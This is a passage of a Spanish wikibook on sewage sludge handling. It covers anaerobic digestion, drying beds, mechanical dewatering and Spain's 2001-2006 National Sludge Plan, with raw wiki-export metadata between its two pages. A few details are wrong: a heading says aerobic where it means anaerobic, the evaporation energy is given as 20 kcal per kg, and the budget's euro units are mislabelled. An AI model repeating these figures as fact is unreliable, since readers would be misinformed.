Los fangos provenientes de la etapa de espesamiento de una E.D.A.R. tienen una concentración de sólidos que puede ir desde el 8-10% en los fangos primarios, hasta el 4-7% en fangos mixtos, o el 2-3% en fangos activos. De este contenido total de materia sólida de un fango se puede considerar que aproximadamente un 70% en peso está formado de materia orgánica y un 30% de materia inorgánica o mineral. Sólo la primera puede descomponerse en un proceso de digestión o estabilización.

En un proceso de digestión anaerobia se consigue:

* La reducción del volumen ocupado por los fangos.
* La eliminación o destrucción de gran parte de la materia orgánica que contienen los fangos, disminuyendo así el riesgo de putrefacción y la producción de malos olores.
* La destrucción casi total de gérmenes patógenos.
* La obtención de metano, de gran poder calorífico, que puede ser utilizado como fuente de energía dentro de la planta.

Todo ello hace que el fango resultante sea fácilmente secable y capaz de ser evacuado sin grandes problemas.

====4.2.1. Ventajas e Inconvenientes====

Con respecto a la  digestión aerobia de fangos:

* Menores costes de explotación al no utilizar la aireación como parte del proceso.
* Concentra mejor el fango y mejora su secado posterior.
* Produce gas metano que proporciona energía para otras operaciones.
* Pequeña producción de fangos estabilizados.
* Tiene capacidad para tratar altas cargas hidráulicas y orgánicas.
* Mayores costes de inversión en su construcción.
* Produce líquidos (sobrenadantes) que pueden ser difíciles de tratar cuando se recirculan en la instalación.
* Los fangos necesitan una nueva estabilización antes de su evacuación final.
* Arranque lento y delicado.
* Tiene necesidad de una temperatura minima de 27°C para su buen funcionamiento.

====4.2.3. Funcionamiento====

En un tanque de digestión anaerobia los sólidos orgánicos procedentes de las aguas residuales se descomponen (el volumen de sólidos totales se reduce, por tanto) en ausencia de oxígeno. Esto es llevado a cabo por la acción de al menos dos grupos diferentes de bacterias que viven juntas en el mismo medio. Estos grupos bacterianos son:

* Las bacterias formadoras de ácidos, que convierten los sólidos complejos en sólidos más simples (llamados ácidos orgánicos), anhídrido carbónico (CO2) y agua (H2O), fundamentalmente. El pH óptimo de crecimiento es bajo.
* Las bacterias formadoras de metano, que convierten los ácidos en metano (CH4), (CO2) y (H2O) principalmente. El pH óptimo de crecimiento es próximo a la neutralidad.

En general, se considera que un digestor funciona adecuadamente cuando la reducción de sólidos orgánicos (volátiles) en el fango de salida está entre un 40 y un 60 % del existente en el fango de entrada. Para conseguir esto el mantenedor debe de controlar de tal manera el digestor que las reacciones de formación de ácidos y la reacciones de formación de metano estén en equilibrio. Esto se puede conseguir mediante el control de parámetros tales como:

* El suministro de alimento (sólidos orgánicos) al digestor.
* El mezclado dentro del digestor.
* La temperatura dentro del digestor.
* La relación de ácidos volátiles/alcalinidad dentro del digestor.
La causa más frecuente de desequilibrio es que las bacterias formadoras de metano son organismos anaerobios muy sensibles y de crecimiento más lento, por lo que a veces no siguen el ritmo de las formadoras de ácidos y el digestor se acidifica porque la velocidad de transformación de los ácidos es demasiado baja.

==Deshidratación==

Después que el fango ha pasado por el proceso de digestión, debe secarse y evacuarse.

El problema que nos planteamos es el de eliminar los fangos digeridos de la manera más práctica y menos costosa posible, aumentando el porcentaje de materia seca lo más posible para reducir su volumen al máximo. Con los métodos que se emplean se consiguen fangos deshidratados con un 20-40% en  peso de materia seca.

El sistema de deshidratación empleado dependerá de las características de la E.D.A.R., del tipo de fango y del destino final de los mismos.

Las estaciones depuradoras pequeñas suelen tener eras de secado, mientras que las mayores utilizan sistemas mecánicos de secado.

===5.1. Eras de secado de fango.===

Los lechos o eras de secado están constituidos por una capa de material drenante, dividida en compartimentos y sobre la que se vierte el fango en espesadores de 20-30 cm como máximo. La capa de material drenante debe estar constituida por una capa de arena de unos 10 cm de espesor, dispuesta sobre una capa soporte de grava de 20 cm.

La superficie total de las eras se divide en unidades menores de tal forma que se llene cada una de ellas con la normal extracción de fangos digeridos correspondientes a dos días.

El fango a secar puede ser llevado a las eras a través de canales abiertos o a través de tuberías. En el primer caso, se emplean compuertas de tajadera a la entrada a cada lecho de secado, y en el segundo, el aislamiento deberá hacerse con válvulas.

El sistema de drenaje subterráneo bajo la capa de soporte debe cuidarse al máximo. El número de tuberías y la pendiente de las mismas deben permitir un drenaje homogéneo de toda la masa de fango, y conducir toda el agua drenada a una arqueta de drenaje general, donde se bombeará a cabecera de instalación.

El secado de los fangos en las eras se logra mediante drenaje (filtración) y evaporación:

* En una primera fase, el agua abandona el fango por '''filtración''' a través de la arena, favoreciendo el desprendimiento de los gases ocluidos y disueltos, que tienden a hacer flotar los sólidos. Esta fase puede durar las 12-18 primeras horas, en el caso de fangos urbanos. En ella se obtiene una suspensión fangosa de hasta el 20% de sequedad.

* La segunda fase de evaporación es más lenta, y produce una disminución de la capa de fangos, agrietando la superficie y favoreciendo la evaporación de las capas inferiores, al ser las grietas cada vez más profundas. Al final de esta fase el fango tendrá una consistencia tal que le permitirá ser paleable. La sequedad obtenida podrá llegar a ser de hasta un 40%.

La extracción del fango es normalmente manual, vertiendo el fango en carretillas o cintas transportadoras, que lo conducen fuera de las eras para ser almacenados o cargados sobre camión. Con la retirada del fango también se elimina algo de arena de la capa drenante al quedar adherida a la torta lo que obligará, cada cierto tiempo, a reponer la arena.

====5.1.2. Funcionamiento.====

Antes de extender el fango, hay que aflojar la capa de arena apelmazada con una horquilla de fangos con púas de 20 a 30 cm de longitud, que se introducen en la arena y se remueven hacia delante y hacia atrás varias veces, teniendo cuidado de no mezclar las capas de arena y grava. Después de haber realizado esta operación por toda la superficie de la era, hay que rastrillarla con rastrillo de jardín para deshacer los terrones de arena. Después se iguala la arena de la era con el mismo rastrillo o arrastrando una tabla con cuerdas para alisar la superficie.

A continuación, ya se puede verte el fango extraído del fondo del digestor primario o secundario (digestión anaerobia de fangos) o del espesador (estabilización aerobia de fangos). En el primer caso, el fango ha de extraerse lentamente para no crear vacío dentro del digestor. Esto requiere comprobaciones frecuentes, para asegurarse de que el fango no se espesa y deja de fluir por completo.

La profundidad de la capa de fango extendida sobre la era es, normalmente, de unos 30 cm, pero puede llegarse a los 45 cm durante las épocas muy calurosas.

En las proximidades de la extracción de fangos para secado debe prohibirse fumar o encender fuego. El fango aún contiene algo de gas metano, como lo ponen de manifiesto las burbujas que aparecen en la superficie del fango en una era fresca. Ha habido casos de explosiones e incendios causados por una cerilla encendida o un cigarrillo arrojados a una era de secado de fangos.

Después de haber llenado una era de secado, debe limpiarse con agua a chorro la tubería de extracción de fangos, para desprender los sólidos que hayan podido adherirse a las paredes de la misma, y también conviene que un extremo quede abierto, para que se escape el gas que se forma.

Cuando las grietas llegan a la arena, ya puede retirarse el fango manualmente por medio de horcas.

El único gran inconveniente de las eras de arena es que no se pueden usar equipos pesados, porque el peso podría estropear el sistema de drenaje subterráneo. Otros inconvenientes son que la acción de rastrillado puede mezclar la arena con la grava y que en la retirada de fango seco se recoge parte de la arena, lo que obliga a reponerla cada cierto tiempo. Pueden colocarse pequeñas tablas sobre la arena para carretillas, y depositar la torta de fangos en ellas para trasladarla al lugar de evacuación. La torta de fango seco tiene normalmente un espesor de 7 a 15 cm y no es pesada a no ser que vaya con el fango una gran cantidad de material inorgánico sedimentable.

Si una era se llena accidentalmente con fango “verde” (parcialmente digerido), requerirá una especial atención. El agua no drenará con rapidez, se producirán malos olores y la retención del agua proporcionará un excelente terreno de cría para insectos molestos (moscas, mosquitos, gusanos, etc.). Será beneficioso entonces, la adición de cal seca extendida sobre la era con una pala, y la pulverización con algún pesticida. En este caso, no deberá utilizarse el fango como fertilizante.

===5.2. Secado mecánico.===

En las depuradoras en las que se producen grandes volúmenes de fango y no se pueden utilizar eras de secado, se puede llevar a cabo el secado mecánico mediante:

*Filtros de vacío.

*Centrífugas.

*Filtros banda.

*Filtros prensa.

En general, en el caso de la deshidratación mecánica, los fangos deben ser previamente acondicionados, bien química bien térmicamente.

====5.2.1. Acondicionamiento de los fangos.====

El acondicionamiento se realiza para facilitar la pérdida de agua de los fangos durante el secado mecánico, haciéndolo más rápido, eficaz, y rentable económicamente. Consiste, básicamente, en romper la estabilidad de las partículas que están en el fango, aumentando su tamaño artificialmente.

Un acondicionamiento adecuado del fango es la base para un correcto funcionamiento del sistema de deshidratación.

=====Acondicionamiento químico=====

Los reactivos que se emplean pueden ser de origen mineral u orgánico. Normalmente, los reactivos minerales se adaptan mejor a una deshidratación por filtros de vacío y filtros prensa, y los reactivos orgánicos a la centrífuga y filtro banda.

La cal (CaO) y el cloruro férrico (FeCl3) son los reactivos minerales más empleados y conducen a la formación de un flóculo (aglomerado) relativamente fino y estable. También se suelen emplear sales ferrosas y varias sales de aluminio. Cuando se emplea cal y cloruro férrico, los porcentajes son, normalmente, del 30% y del 3-12%, respectivamente, con relación con las materias secas del fango.

Para conseguir una buena floculación (aglomeración) del fango, es necesario garantizar unos tiempos de maduración de 15-30 minutos. Este tiempo se consume en la cámara de mezcla y el resto en la arqueta del filtro a vacío o en el depósito que precede al filtro prensa.

Los polielectrolitos orgánicos pueden ser aniónicos o catiónicos. Los primeros son eficaces para el acondicionamiento de fangos fuertemente minerales (materia volátil/materia seca = 30-35%). Los segundos, para los fangos con elevado contenido de materia orgánica (materia volátil/materia seca = 50-75%) y para los mediamente mineralizados (materia volátil/materia seca = 35-45%).

Los polielectrolitos se suministran en forma de polvo o líquido muy viscoso (15-30% de producto activo). Para asegurar un buena mezcla con el fango conviene inyectarlo en forma de solución acuosa muy diluida (0,05-0,1%). Lo que se hace es preparar disoluciones madres al 0,3-1% de producto, que se diluyen instantáneamente y de forma continua antes de su inyección den el fango. Esta inyección es realizada en la tubería de llegada del fango al sistema de deshidratación.

Para los productos en polvo, caso más frecuente, la preparación de la solución madre comprende, en primer lugar, una fase de mojado o dispersión del producto. Esta dispersión debe hacerse con sumo cuidado para evitar la formación de grumos que tarden mucho tiempo en disolverse. Una vez preparada la solución madre, debe dejarse madurar durante una o dos horas.

=====Acondicionamiento térmico=====

Consiste en una cocción de los fangos a una temperatura de 160 a 210 ºC.

La sequedad que se consigue en fangos acondicionados térmicamente son, generalmente, superiores a los que se consiguen cuando se emplean reactivos químicos. Además, se consigue una deshidratación del fango.

Los líquidos que se extraen de los fangos cocidos deshidratados están muy contaminados (2000-5000 ppm de DBO5), lo que obliga a disponer de un depósito amortiguador de almacenamiento para poder inyectarlos a la entrada de la depuración biológica en las horas de menor contaminación. 

En algunos casos, será preciso tratar los líquidos con un tratamiento biológico independiente.

El acondicionamiento térmico requiere importantes inversiones de instalación y elevados costes de mantenimiento. Esto hace que sea interesante, sobre todo, en grandes plantas, en las que existan una digestión anaerobia de los fangos. El gas producido en exceso en la digestión sirve para satisfacer gran parte de la demanda energética necesaria, y los digestores se utilizan como depósitos de almacenamiento. Esto permite mantener la cocción con un caudal continuo y estable de fangos.

====5.2.2. Filtros de vacío.====

Es un sistema mecánico de deshidratación de fangos que hoy en día ha sido desplazado por otros sistemas más sencillos de mantenimiento y de menor coste energético.

Consiste fundamentalmente en un cilindro rotatorio, sobre el que descansa el medio filtrante. El cilindro va sumergido parcialmente en un tanque en el que se encuentra el fango a deshidratar que ha sido acondicionado previamente. El tambor gira a una velocidad del orden de 10-30 revoluciones por hora. Las diversas celdas en que se encuentra dividida su superficie exterior, van recubiertas por una tela filtrante constituida, normalmente, por fibras sintéticas.

El vacío aplicado al filtro varía entre 300-600 mm de Hg y viene creado por una bomba completamente exterior. El vacío llega a las celdas a través de un cabezal de control o válvula automática y las tuberías de filtrado consiguientes. Este vacío provoca la absorción del líquido a través de la tela filtrante, en tanto que los sólidos en suspensión se depositan sobre ella en una capa uniforme. A medida que el tambor avanza, las celdas van pasando por unas fases de filtración, secado, descarga de la torta y lavado de la tela.

Gracias al cabezal de control, se produce una presión diferencial entre los diversos sectores, dependiendo en cada uno de ellos de la fase en que se encuentren. El líquido filtrado circula por los tubos de filtrado hacia la válvula automática y de ésta pasa a un separador de filtrado auxiliar, de donde por medio de una bomba se reenvía normalmente a cabecera del tratamiento de agua.

La tela filtrante requiere un lavado a alta presión después de 12 ó 24 horas de servicio y, en algunos casos, un baño de ácido después de 1000 ó 5000 horas de funcionamiento. Su duración varía de 200 a 20000 horas.

====5.2.3. Centrífugas.====

Consiste esencialmente en un tambor cilíndrico-cónico que gira sobre un eje horizontal a gran velocidad. El fango a deshidratar se introduce en la cuba a través de la conexión de entrada por medio de la alimentación. En el interior del tambor, debido a la fuerza centrífuga producida por el giro de éste, la parte más pesada de la mezcla se deposita en el interior, donde es arrastrada a la salida de los sólidos por un tornillo helicoidal que gira a distinta velocidad que el tambor.

La parte cilíndrica del tambor está destinada a la sedimentación de las partículas sólidas, mientras que la parte cónica produce un escurrido progresivo de las mismas, hasta llegar a la salida exenta de líquido libre. El agua, al tener un peso específico distinto al de los sólidos, ocupa dentro del tambor una zona distinta, formando un anillo interior al formado por los sólidos.

El líquido que sale de la centrífuga se devuelve a los decantadores primarios, y la torta de fango pasa a un pozo de recogida o a una cinta transportadora para su evacuación.

El recorrido de las fases sólidas y líquida entre el tambor y el cuerpo de tornillo se realiza en contra-corriente (la parte cilíndrica, el sólido y el líquido circulan en sentido en la parte cilíndrica).

Una gran parte de arenas en el fango aumenta la velocidad de desgaste de la centrífuga.

El caudal de alimentación, la profundidad del depósito del fango, la velocidad de giro de la centrífuga y otros factores determinan el estado de la torta descargada y la calidad del líquido centrifugado. 

====5.2.4. Filtros banda.====

Este sistema está basado en la buena drenalidad del fango previamente acondicionado con poliectrolito. El fango floculado tiene una gran capacidad de escurrir muy rápidamente por simple drenaje, cuando se coloca sobre un tamiz o tela de abertura de malla relativamente grande.

Un filtro banda es un sistema mecánico de deshidratación que permite al fango floculado un drenaje libre y un posterior prensado progresivo.

El fango floculado tiene una estructura relativamente frágil y, por ello, la suspensión debe ser manipulada con sumo cuidado para evitar la formación de finos por ruptura de los mismos, lo que obstaculizaría el drenaje por atascamiento de la banda o conduciría a pérdidas de sólidos que pasarían a través de la tela.

La fase de drenaje tiene una importancia esencial, ya que permite conferir al fango una cohesión o resistencia suficiente para la fase siguiente de expulsión del agua por prensado progresivo. 

En esta primera fase, el fango se vierte sobre una banda portadora, durante su recorrido deja salir parte del contenido inicial del agua. De esta forma llega a una zona de cuña formada por la banda portadora y una segunda banda donde, bajo una presión ascendente, los fangos se deshidratan hasta obtener una consistencia adecuada para su posterior tratamiento en las siguientes zonas de filtración.

Durante la fase de prensado, las bandas filtrantes con la torta situada entre ellas, son guiadas a través de unos tornillos de prensado que simultáneamente producen un efecto de cizalladura, consiguiéndose la deshidratación de la torta hasta su mayor contenido en materia seca. La presión ejercida entre las bandas depende del tensado de las mismas que se fija en la puesta en marcha, mediante un dispositivo adecuado, y tampoco debe ser variado posteriormente.

Una vez que la torta de fangos ha pasado la zona de cizalladura, es descargada de la banda filtrante por medio de rasquetas.

La velocidad de avance imprimida a las bandas depende de la drenabilidad de la suspensión floculada para una zona de drenaje dada. Por tanto el mejor ajuste de la máquina debe encontrarse por medio de ensayos.

La presión de deshidratación se consigue principalmente por la presión de las telas de filtración, que se obtiene mediante cilindros neumáticos o hidráulicos que actúan sobre unos rodillos móviles.

====5.2.5. Filtros prensa.====

En algunos casos es necesario obtener una sequedad del fango deshidratado superior a la que es posible conseguir con los sistemas anteriormente descritos. Es el caso de los fangos que son incinerados o en los que el transporte de la torta resulta a un precio tan elevado que es importante una reducción máxima de su peso y volumen.

El filtro prensa es el único sistema que garantiza unas presiones efectivas muy elevadas, con las que se consiguen sequedades de torta máximas.

Un filtro prensa está constituido esencialmente por un conjunto de placas acalanadas, recubiertas de una tela filtrante, que en su posición vertical, se yuxtaponen y apoyan fuertemente unas contra otras por tornillos hidráulicos que están dispuestos en uno de los extremos de la batería.

El fango se bombea al filtro a través de unos orificios de comunicación, que se encuentran situados en el centro de cada placa, pasando a ocupar el espacio existente entre cada dos de ellas. Debido a la progresiva presión ejercida, parte del agua contenida en el fango lo abandona, transpasando la tela filtrante, y yendo a los orificios acanalados de la placa, donde son encauzados a los conductos de evacuación situados en los extremos de las mismas. Así, el espesor de la torta obtenida se corresponde con la parte hueca central que queda entre las dos placas.

La estanqueidad del conjunto queda asegurada por la presión que una placa aplica sobre otra.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Eliminación biológica de nutrientes
 |actual=Línea de fangos
 |siguiente=Destino final de fangos
}}

{{AutoCat}}</text>
      <sha1>1qnv0d6ksaz2agl0hroq20sp0n262ra</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Destino final de fangos</title>
    <ns>0</ns>
    <id>12675</id>
    <revision>
      <id>429969</id>
      <parentid>426153</parentid>
      <timestamp>2026-08-02T09:30:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429969</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="24767" sha1="9ujykmxfsqibg77xl1fmzsfqa2vwn6r" xml:space="preserve">==Gestión integral de las depuradoras==

Con la construcción de las primeras estaciones depuradoras, el principal objetivo a conseguir era la depuración de las aguas. 

Hoy en día, el problema de contaminación de las aguas se encuentra en su mayor parte solucionado, conforme se han ido desarrollando nuevas técnicas, tanto a nivel urbano como industrial, los procesos se han ido mejorando, con el objeto de obtener las mejores calidades y máximos rendimientos en los efluentes que se vierten al medio en unas condiciones tales que no produzcan impactos en el medio ambiente que los rodean ni supongan un riesgo para los humanos y animales.

Sin embargo, estos procesos de depuración generan una serie de residuos, los conocidos lodos de depuración, cuyo fin es el de retener los contaminantes antes arrastrados por las aguas. 

Así pues, cuando se plantea la gestión integral de las aguas residuales, no nos podemos olvidar de los lodos. Su gestión adecuada es indispensable para que todos los esfuerzos realizados con anterioridad sean válidos. La calidad de los residuos obtenidos, en cuanto a su composición química y física, debe tenerse en cuenta, e incluirse dentro de los planes de gestión de las depuradoras, cuyo funcionamiento no debe reducirse sólo a la calidad de las aguas.

Es cierto, que dentro de la preocupación de los gestores actuales de las estaciones depuradoras, entendiendo como tales tanto a las administraciones públicas como a las diversas empresas adjudicatarias de los servicios de explotación de las mismas y a los propios industriales, se encuentra en la búsqueda a una solución real y con futuro para el destino final de estos lodos, con el mínimo impacto ambiental y que permita a su vez la valorización de las materias que contienen.

== ¿Qué son los lodos? ==

Los lodos son compuestos de subproductos recogidos en las diferentes etapas de descontaminación de las aguas residuales. Su producción resulta de un proceso de acumulación consecutivo de tres fenómenos combinados:

* la producción de microorganismos

* la acumulación de materias en suspensión minerales

* la acumulación de materias orgánicas no biodegradables en las condiciones de trabajo

Una característica muy importante de los lodos es la fuerza con la que el agua está ligada a la materia seca que contienen. Una parte del agua se presenta como agua libre, pero la mayor cantidad del agua adicional requiere de fuerzas externas para ser eliminada. 

En general, sus principales características son:

* Sequedad: 20-30%

* Materia orgánica: 60-80%

* Materia inerte: 40-20%

* Nitrógeno: 3-5%

Escaso contenido en macroelementos (P y K)

Posible presencia de metales pesados

Microorganismos patógenos: bacterias, parásitos intestinales y virus

Existen dos grandes tipos de lodos:

'''Urbanos:'''

Generados durante el tratamiento de las aguas residuales de origen doméstico. Poseen un contenido en materia volátil elevado (70% de la materia orgánica seca). En lo que concierne a su producción, se parte de la estimación de que un habitante produce entre 15-20 Kg de materia seca/año ( 0,2 Kg de MS/m3 de agua depurada).

(FALTA FIGURA)

'''Industriales:'''

Generados durante el tratamiento de las aguas industriales y sus características dependen de la naturaleza de las actividades industriales asociadas. Por ejemplo, las industrias agroalimentarias producen lodos orgánicos, mientras otros lodos industriales son esencialmente minerales y contienen elementos traza metálicos (lodos hidróxidos) u orgánicos. Su producción alcanza los mismos niveles que la de los lodos urbanos.

== Plan nacional de lodos 2001-2006 ==

Resolución 14 de Junio de 2001 de la Secretaría General de Medio Ambiente, publicado en BOE nº 166, Jueves 12 de Julio de 2001.

=== Marco legal de referencia ===

==== Normas de carácter agronómico ====

Posibilidad de uso como abonos y enmiendas orgánicas en suelos

===== Directiva 86/278/CEE, relativa a la protección del medio ambiente y en particular de los suelos en la utilización de lodos con fines agrícolas. =====

Establece los contenidos máximos de metales pesados en los lodos destinados a uso agrícola, así como en los suelos objeto de estas aplicaciones

Prohíbe la aplicación en algunos cultivos, al tiempo que establece plazos para su aplicación en los cultivos autorizados.

Considera la necesidad de mantener un código de buenas prácticas agrícolas a fin de garantizar la protección del suelo y de las aguas superficiales y subterráneas.

Determina la realización de analíticas de lodos y suelos, obliga a facilitar información al usuario y a mantener un registro de los puntos de aplicación, sin llegar a definir a quién corresponde la caracterización de los suelos.

Establece los métodos oficiales para la caracterización de los lodos así como para el muestreo y análisis de los suelos objeto de aplicación.

===== Real Decreto 1310/1990 del Ministerio de Agricultura, Pesca y Alimentación =====

Por el que se transpone la Directiva 86/278 a nuestro ordenamiento jurídico interno y se regula la utilización de lodos de depuración en el sector agrario

Incorpora íntegramente el texto de la norma (para algunos metales en suelos aplica criterios más estrictos)

===== Orden de 26/10/1993 del MAPA sobre utilización de lodos de depuración en el sector agrario =====

Desarrollo del R.D. 1310/1990 del Ministerio de Agricultura, Pesca y Alimentación

Obligación de facilitar al órgano competente información semestral sobre producción, características y puntos de aplicación (Ficha Semestral de Explotación Agrícola)

Orden de 22/11/1993 de la Consejería de Agricultura, Pesca y Alimentación por la que se desarrolla en el ámbito de la Comunidad Autónoma de Andalucía el R.D. 1310/90 y Orden 26/10/1993

===== Directiva 91/676/CEE transpuesta al Derecho español mediante el R.D. 261/1996 de 16 de febrero, contra la contaminación producida por nitratos procedentes de fuentes agrarias. =====

==== Normas aplicables a residuos ====

Los lodos de depuración son considerados como residuos no peligrosos y se encuentran incluidos en el Catálogo Europeo de Residuos (CER) con el código 190805.

* Directiva 91/156/CEE de 18 de marzo de 1991, relativa a residuos transpuesta al Derecho español mediante la Ley 10/1998 de 21 de abril de Residuos 

* Decisión de la Comisión 94/3/CE, de 20 de diciembre de 1993, por la que se establece el Catálogo Europeo de residuos (CER), incorporado a nuestro ordenamiento por la Resolución del Ministerio de Medio Ambiente de 17 de noviembre de 1998.

Introducen en nuestro ordenamiento jurídico algunos nuevos principios de gestión que hay que respetar, como el de priorización y el de responsabilidad del productor.

==== Otras normas ====

A las instalaciones para la gestión de lodos les es de aplicación la Directiva 96/91/CEE relativa a la prevención y al control integrados de la contaminación (IPPC), que entre cosas contempla la utilización de las mejores técnicas disponibles (BAT / MTD) en las actividades de gestión de lodos de depuración.

El desarrollo de la MTD aún no se ha elaborado.

=== Situación actual y previsiones ===

Al parecer se han encontrado con muchas dificultades en la realización del Plan debido a la falta de datos existente por la reticencia a proporcionar información por parte de los gestores de los lodos, por lo que existen muchas deficiencias.

Aunque no se dispone en España de datos cuantitativos verificados y comprobados ni sobre la generación de lodos ni sobre su gestión, la producción de lodos en 1998 estuvo entorno a 800.000 Toneladas de materia seca, lo que equivale, en términos de residuos (lodo deshidratado), a unos 3,5 millones de toneladas. Estos lodos fueron destinados a:
{| class=&quot;wikitable&quot;

|Uso agrícola ||51%
|-----------------

|A vertedero ||22%
|-----------------

|Incinerado ||4% 
|}

Para el año 2005 se estima que la producción de lodos será de 1.547.976 t de materia seca, repartidas por CCAA de la siguiente manera:	
{| class=&quot;wikitable&quot;

!Comunidad autónoma !!t m.s./año
|-----------------

|Andalucía ||312.500
|-----------------

|Aragón ||41.000
|-----------------

|Asturias ||36.000
|-----------------

|Baleares ||29.000
|-----------------

|Canarias ||54.000
|-----------------

|Cantabria ||18.000
|-----------------

|Castilla y León ||81.000
|-----------------

|Castilla la Mancha ||56.000
|-----------------

|Cataluña ||200.000
|-----------------

|Ceuta ||1.200
|-----------------

|Comunidad Valenciana ||130.000
|-----------------

|Extremadura ||36.000
|-----------------

|Galicia ||90.000
|-----------------

|La Rioja ||8.000
|-----------------

|Madrid ||178.000-342.862
|-----------------

|Melilla ||1.100
|-----------------

|Murcia ||37.000
|-----------------

|Navarra ||11.314
|-----------------

|País Vasco ||63.000
|-----------------

|España ||1383.114-1.547.976
|}
=== Equipamientos e infraestructuras existentes en la actualidad en España ===

====Plantas de compostaje====

==== Plantas de secado térmico ====
{| class=&quot;wikitable&quot; 

|Cataluña ||Reus
Vilaseca-Salou
Blanes
Manresa
Teia
|-----------------

|Castilla- León ||Burgos
|-----------------

|Baleares ||Ciudatella
Felanitx
Sa Pobla
Ariany
|-----------------

|Valencia ||Aspe
Pinedo
|-----------------

|Madrid ||Madrid (2)
Guadalix de la Sierra
|-----------------

|Navarra ||Pamplona
Estella

|-----------------
|Región de Murcia|| Cañadahermosa

|}
{| class=&quot;wikitable&quot;
|+
|Cataluña
|Granollers
Montornés del Vallés
Sabadell
|-
|Castilla- León
|Valladolid
|}


Están previstas nuevas plantas en Asturias, Mataró y Rubí (Cataluña), León (Castilla-León), Valencia (Valencia), Bahía de Mallorca (Baleares), Madrid y Butarque (Madrid).

Se estima en unas 680-700.000 t/año de lodos deshidratados la capacidad total de tratamiento en España.

==== Plantas de digestión anaerobia ====
{| class=&quot;wikitable&quot;

|Cataluña
||Reus

Sabadell

Girona

Lleida
|-----------------

|Navarra
||Pamplona

Estella

Olite-Tafalla
|}

Existen otras en proyecto en Andalucía (Jerez) y La Rioja (Logroño y Haro).

==== Plantas de incineración ====
{| class=&quot;wikitable&quot;

|Andalucía
||Córdoba
|-----------------

|Aragón
||Zaragoza
|-----------------

|Valencia
||Pinedo
|-----------------

|País Vasco
||Galindo
|}

La capacidad total de estas plantas es del orden de 200.000 t/año de lodos de deshidratados.

=== Posibilidades tecnológicas de reutilización y valorización de los Lodos de Depuradora ===

Tres son los principales usos posibles de lodos:

Aplicación al suelo con fines de fertilización y reciclaje de nutrientes y de la materia orgánica

Valorización energética, incluyendo biometanización

Depósito en vertedero

Este es el orden de prioridad en que se debe decidir el destino final de los fangos

El Plan Nacional de Lodos, siempre que los lodos cumplan los requisitos legales, incluidos los que puedan establecerse en el futuro (bajo contenido en metales pesados y otros contaminantes orgánicos, así como patógenos y exista disponibilidad de suelo apto para su aplicación) considera que la opción más sostenible es el reciclaje de nutrientes y materia orgánica mediante su aplicación al suelo.

=== Objetivos ecológicos del Plan ===

Los objetivos que se persiguen con el Plan son los siguientes:

Reducción en el origen de la contaminación de los lodos

Caracterización de los lodos generados en España antes del 2003

Valorización de al menos el 80% de los lodos antes del 2007

Aplicación agrícola de al menos un 25% de los lodos compostados, antes del 2007

Valorización en usos agrícolas de al menos el 40% de los lodos tratados anaeróbicamente o sometidos a otros tratamientos, antes del 2007

Valorización energética del 15% de lodos antes del 2007

Reducción a un máximo del 20% de los lodos depositados en vertedero antes del 2007

Creación de un sistema estadístico y bases de datos sobre lodos y su gestión, para su integración en el futuro Inventario Nacional de Residuos.

==== Medidas que se adoptarán para lograr los objetivos ====

Puesta en práctica de un programa de prevención para reducir la contaminación en origen de los lodos

Puesta en práctica de un programa de caracterización sistemática de los lodos y un programa de muestreo de suelos receptores

Ayudas a la construcción de plantas de compostaje de lodos

Apoyo a la implantación y mejora de otras líneas de tratamiento de lodos

Ayudas a la construcción de centros de recogida y almacenamiento intermedio de lodos

Elaboración de códigos para la correcta gestión y aplicación de los lodos en los suelos, a realizar en colaboración con el MAPA y las CCAA

Promoción del uso de lodos en terrenos públicos (cultivos, jardines, etc)

Ayudas a las iniciativas tendentes a la búsqueda de nuevos usos de lodos

Programa de I+D+I para apoyar, técnica y científicamente, las actuaciones anteriores. (tecnologías de tratamiento, optimización de alas aplicaciones…)

Ayudas a los programas de divulgación, formación y concienciación ciudadana tendentes a ampliar la demanda de lodos, en particular por parte del sector agrario

Ayudas a la elaboración de un sistema informativo y de bases de datos de generación y gestión de lodos

=== Presupuesto y financiación: ===
{| class=&quot;wikitable&quot;

|Concepto
||Programa
||Nº
||Inversión (MM Ptas)
||Inversión (M Euros)
|-----------------

|Prevención
||Reducción contaminación en origen
||
||5.000
||30.050,61

|-----------------

|Valorización agrícola
||Caracterización analítica de lodos y muestreo de suelos
||
||3.500
||21.035,42
|-----------------

|Inversiones en Infraestructura
||Plantas de compostaje (capacidades 5.000÷25.000 t de m.s. al año) *
||40
||11.400
||68.515,38

|-----------------
|
||Medidas de corrección del impacto ambiental en tratamientos térmicos y pretratamientos
||
||4.000
||24.040,48

|-----------------
|
||Centros de recogida y almacenaje


||60
||6.000
||36.060,73

|-----------------
|
||Apoyo a la implantación y mejora de otras líneas de tratamiento de lodos


||
||45.000
||270.455,45

|-----------------
|
||Adaptación y mejora de Plantas de incineración de lodos


||4
||1.200
||7.212,15
|-----------------

|I+D:Mejoras de las prácticas ambientales
||Desarrollo de nuevos usos de LD
||
||1.000
||6.010,12

|-----------------
|
||Elaboración de códigos, directrices técnicas, promoción del uso en terrenos públicos y búsqueda de nuevos usos de los lodos y otras
||
||1.000
||6.010,12
|-----------------

|Sensibilización y formación
||Sensibilización pública y concienciación ciudadana
||
||400
||2.404,05

|-----------------
|
||Formación de personal especializado
||
||400
||2.404,05
|-----------------

|Control estadístico
||Creación y mejora de sistemas de información y bases de datos
||
||250
||1.502,53
|-----------------

|TOTAL
||
||
||79.150
||475.701,08
|}

Las actuaciones que se desarrollen al amparo del Plan se financiarán mediante:

Fondo de Cohesión

Fondos Estructurales de la Unión Europea

Aportaciones presupuestarias de las Administraciones Públicas competentes

Contribuciones de los agentes, organizaciones o personas legalmente responsables del coste de la correcta gestión ambiental de los residuos

== Secado térmico de lodos ==

=== Características de principales tecnologías aplicadas ===

El proceso de secado térmico se realiza aportando la energía térmica necesaria para eliminar el agua del fango hasta el límite para el que se haya diseñado (normalmente alrededor del 90% de sequedad en el fango).

Las necesidades térmicas para evaporar 1 kg. de agua a partir de una temperatura de 20&amp;nbsp;°C son 20 kcal., sin embargo en la práctica este valor depende de la eficiencia de cada tipo de secador, como término medio se puede considerar un consumo de unas 750 kcal/kg. de agua evaporada.

